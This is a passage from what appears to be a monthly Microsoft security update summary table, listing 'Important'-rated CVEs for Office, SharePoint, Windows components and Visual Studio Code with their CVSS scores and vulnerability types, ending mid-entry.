CVE-2026-63530\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63531\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-64917\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66806\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66810\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70319\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63527\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64905\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64915\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70311\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65680\n  Microsoft OneDrive for\n  MacOS Elevation of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70329\n  Microsoft Outlook\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62882\n  Microsoft Outlook\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-70313\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70337\n  Microsoft PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70338\n  Microsoft PowerShell\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-59138\n  Microsoft Remote\n  Registry Service Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-61345\n  Microsoft Remote\n  Registry Service Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-70324\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70321\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70326\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70355\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-62837\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63514\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63520\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-64901\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65658\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65663\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66805\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66808\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58639\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62829\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62839\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62917\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63516\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64897\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64900\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64902\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64916\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64922\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-65660\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63512\n  Microsoft SharePoint\n  Server Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-65767\n  Microsoft Teams for\n  Android and iOS Spoofing Vulnerability\n  Important\n  8.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-65769\n  Microsoft Teams iOS\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65768\n  Microsoft Teams Remote\n  Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66804\n  Microsoft Windows\n  Cross Device Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59135\n  Microsoft Windows\n  Search Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65814\n  Microsoft Windows\n  Storage Port Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70310\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58651\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-6726 *\n  MITRE: CVE-2026-6726\n  TPM 2.0 Improper Object Slot Reuse\n  Important\n  7.9\n  No\n  No\n  \n \n \n  CVE-2026-6727 *\n  MITRE: CVE-2026-6727\n  TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability\n  Important\n  5.9\n  No\n  No\n  \n \n \n  CVE-2026-65811\n  Power BI Remote Code\n  Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68809\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70312\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70316\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70320\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70322\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70325\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59119\n  PowerShell Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58612\n  PowerShell Information\n  Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-65671\n  Remote Access API\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65672\n  Remote Access API\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-42976\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59134\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61352\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61363\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-54113\n  Remote Procedure Call\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62781\n  RPC Runtime Library\n  Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-59125\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-47285\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54981\n  Visual Studio Code\n  Python Extension Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-59113\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-69320\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70336\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58650\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-69278\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-69306\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-62743\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62746\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62786\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62798\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61358\n  Windows Accessibility\n  Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49179\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61348\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70307\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65778\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65779\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65780\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65781\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65782\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65783\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62908\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61927\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61934\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62705\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62722\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62713\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62771\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62728\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62772\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62775\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-72971\n   Windows Container Isolation FS Filter Driver\n  (unionfs.sys) Tampering Vulnerability\n  Important\n  5.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-61936\n  Windows Defender\n  Firewall Service Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-62710\n  Windows Device\n  Association Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62747\n  Windows Device\n  Association Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65785\n  Windows DHCP Client\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62736\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62755\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61361\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  RCE\n \n \n  CVE-2026-62761\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62776\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62803\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62807\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62812\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62714\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62715\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62716\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62718\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62720\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62742\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62745\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62814\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61923\n  Windows Display\n  Enhancement Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62769\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62778\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-62881\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62883\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65795\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65797\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65798\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65799\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70304\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70330\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61920\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-62787\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61932\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62888\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62894\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61933\n  Windows DWM Core\n  Library Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62703\n  Windows DWM Core\n  Library Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59128\n  Windows Encrypting\n  File System (EFS) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59126\n  Windows Event Logging\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-59137\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61347\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61360\n  Windows GDI\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65662\n  Windows GDI\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62709\n  Windows GDI+\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62702\n  Windows Graphics\n  Kernel Denial of Service Vulnerability\n  Important\n  6.8\n  No\n  No\n  DoS\n \n \n  CVE-2026-61346\n  Windows Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62774\n  Windows Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61928\n  Windows Hello\n  Tampering Vulnerability\n  Important\n  5.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-62750\n  Windows HTTP Protocol\n  Stack Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-61937\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62735\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62739\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62741\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62753\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62811\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61368\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  Info\n \n \n  CVE-2026-62740\n  Windows Imaging\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54984\n  Windows Imaging\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-59127\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61925\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61938\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62768\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65774\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70344\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70345\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70346\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70347\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65681\n  Windows iSCSI Target\n  Service Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-65796\n  Windows iSCSI Target\n  Service Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-65679\n  Windows iSCSI Target\n  Service Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62752\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62754\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62766\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62773\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61929\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61930\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62708\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-62737\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62749\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62780\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62788\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65773\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62785\n  Windows LDAP -\n  Lightweight Directory Access Protocol Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62795\n  Windows LDAP -\n  Lightweight Directory Access Protocol Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62777\n  Windows License\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50472\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62738\n  Windows Management\n  Instrumentation Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70348\n  Windows Management\n  Services Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62717\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62719\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65790\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62688\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62693\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62707\n  Windows Modern Device\n  Management (MDM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56174\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61366\n  Windows Network\n  Connection Broker Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-68819\n  Windows Network File\n  System Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-62700\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62797\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62880\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61350\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-62793\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62796\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62887\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65784\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68821\n  Windows Package\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-62696\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62751\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62690\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7\n  